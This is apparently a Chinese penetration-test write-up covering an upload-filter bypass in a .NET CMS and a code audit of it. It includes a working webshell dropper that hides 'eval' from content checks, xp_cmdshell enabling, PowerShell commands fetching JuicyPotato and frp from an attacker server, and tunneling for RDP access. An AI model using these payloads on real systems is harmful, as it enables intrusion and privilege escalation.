19年的某次项目,回顾时候放出来做博客文章。
1. 后台getshell绕过
存在某处上传

这里发现上传任意文件,但是会检测文件内容,上传的不能带有eval。带有就会返回为空,不提交。

大致思路可以有:写一个文件保存的aspx,然后去访问,就可以再根目录生成一个aspx文件。不过这里很蛋疼,这个同样会检测,如果你代码里面写了eval,就会失败。这里我把eval做了一个数组,然后提交

代码如下:
<%@ WebHandler Language="C#" class="Handler" %>evalusing System;using System.Web;using System.IO;public class Handler : IHttpHandler {public void ProcessRequest (HttpContext context) {context.Response.ContentType = "text/plain";char[] letters = { 'e', 'v', 'a', 'l'}; 弄了一个数组,来防止检测evalstring st = "@ ";string ssa = "<%";string bb = "Page Language=\\"Jscript\\"%><%";string aa = new string(letters);string zcz = "(Request.Item[\\"chopper\\"],\\"unsafe\\");%>";string payload = ssa+st+bb+aa+zcz; 做了拼接StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));file1.Write(payload);file1.Flush();file1.Close();}public bool IsReusable {get {return false;}}}
上传成功。进入之后,权限很低,仅仅是iis用户

2. NET审计
得到shell权限之后,我分析了一波他的网站源码。
.NET core的反编译可以使用dnSpy 和 ILSpy 两个都可以
先来了解一下.NET的MVC模式
.NET的MVC路由配置

我有一个Products的请求,然后将它映射到相关的控制器,由控制器去构建Model,Model返回给控制器相关数据,控制器就将这些数据渲染给View,最终返回一个html页面给用户。
而这里要讲的路由就是,怎么把HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上
路由分两种 一种是Conventional Routing 按约定配置路由
app.UseMvcWithDefaultRoute(); 使用默认路由,
等价于下面这种自定义路由
app.UseMvc(routes =>{routes.MapRoute("default", "{controller=Home}/{action=Index}/{id?}");}); 自定义路由,如果Http请求没有控制器,就自动找Home,没有方法就自动找IndexHttp请求 ->-> HomeController下的Index actioncomputer/index ->-> computerController下的Index action
第二种是Attribute Routing 特性路由(webapi)
例子,现在有一个controllers名为about,其有两个方法me和company
namespace Tutorial.Web.Controllers{[Route("about")] 这种就是。Controller级别的.想访问这个About控制器,路径必须以about开始// [Route("[Controller]/[action]")] 或者直接这样子public class AboutController{// 假设我想直接输入/About 就能访问me 就把Route留空。[Route(" ")]public string Me(){return "HH";}[Route("Company")] 匹配Companypublic string Company(){return "AA";}}}? 将一个路由参数标记为 可选参数[Route("api/product/{id:int}")] 将id参数绑定为int类型[HttpPost][Route("api/product/{id}")] 标记为post类型
审计过程
这个程序我一步一步来说我的思路,毕竟我才入门.NET ,可能有一点不准确。还请指出我存在的错误。
首先我要弄懂的是这个CMS是怎么去访问的,怎么映射到相关方法,权限控制哪些能访问的。
在.NET中,上面说的路由,是HTTP请求正确的映射给正确的Controller,并且映射到正确的方法上。但是在映射之前,你需要指定程序去服务才行。
web.config默认配置就有说明,怎么去服务请求的.
这是manager的配置,可以看到访问/API/ 就把请求给webapihandle去服务

这是webapihandle的文件内容

实现了一个一般处理程序处理过程HttpHandler,来响应我们的http请求。
然后接受我们的参数,通过反射的方法调用其它dll中的类和方法

加载dll文件

通过HTTP请求来访问加载dll文件的方法和属性.例如。
http://localhost/API/SystemUser/Create/ 返回:[0]:API,[1]:SystemUser,[2]:Create</example>
requestObject是加载方法,而parametValues是方法所需要的参数。然后调用该方法和类,传参,如果请求成功则返回json数组,请求失败则用自定义的json数组

这里我觉得需要注意的,它请求的类名都是以API结尾的,所有我们就能解释后面访问为什么不需要加上API。

下面这一块我尝试理解了一下,这里应该是一个改写的Route,它大概实现了对路由的控制功能,这里分三种情况
[WebAPI(false)]
不用判断登入状态[WebAPI("xxx.Access")]
判断登入状态且判断用户权限[WebAPI]
单单判断登入状态

我们没有登入的方法,所以需要去找那些不需要登入的方法。
大概说了一下我怎么去看这个cms的,下面漏洞发现过程就不一一细说了。我是一个一个方法去看,只看我能访问的。
审计结果
找了以下几个漏洞。
一处上传漏洞

一处sql注入,很明显了。直接拼接code,没有做任何处理。

一处上传漏洞,直接把文件后缀当作保存文件后缀,没自定义

又一处sql注入漏洞,带报错的

3.烂土豆提权
偶然发现这个烂土豆,windows的一个本地特权提升工具。

光提权没用,想登入3389得做映射。这里我用了frp来端口映射。

frpc -c frpc.ini
OK!

4.Mssql提权
刚好之前找到了一个mssql的数据库可以外连。

阿里云的,,服务器。

试试能不能开启mssql的命令执行
MSSQL开启命令执行
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;exec master.dbo.xp_cmdshell 'whoami';

有戏。
这里我就一个命令执行,新加用户也没有权限,而且只开了1433.。。
我就想,之前用烂土豆把用户给增加了,这台机器也是2012的,说不定有戏
先把烂土豆上传上去,把烂土豆放在外网服务器上,然后用powershell下载
exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''http://你的服务器地址/JuicyPotato.exe'',''C:\Users\MSSQLSERVER\Downloads\123.exe'')"';

成功!!

因为也没开3389,继续用frp映射出来
exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.exe'',''C:\Users\MSSQLSERVER\Downloads\frpc.exe'')"';exec master.dbo.xp_cmdshell 'powershell "powershell (new-object System.Net.WebClient).DownloadFile(''服务器/frpc.ini'',''C:\Users\MSSQLSERVER\Downloads\frpc.ini'')"';


作者:pw0rld,文章来源于https://pw0rld.icu/index.php/archives/4/
更多技术文章请关注公众号:




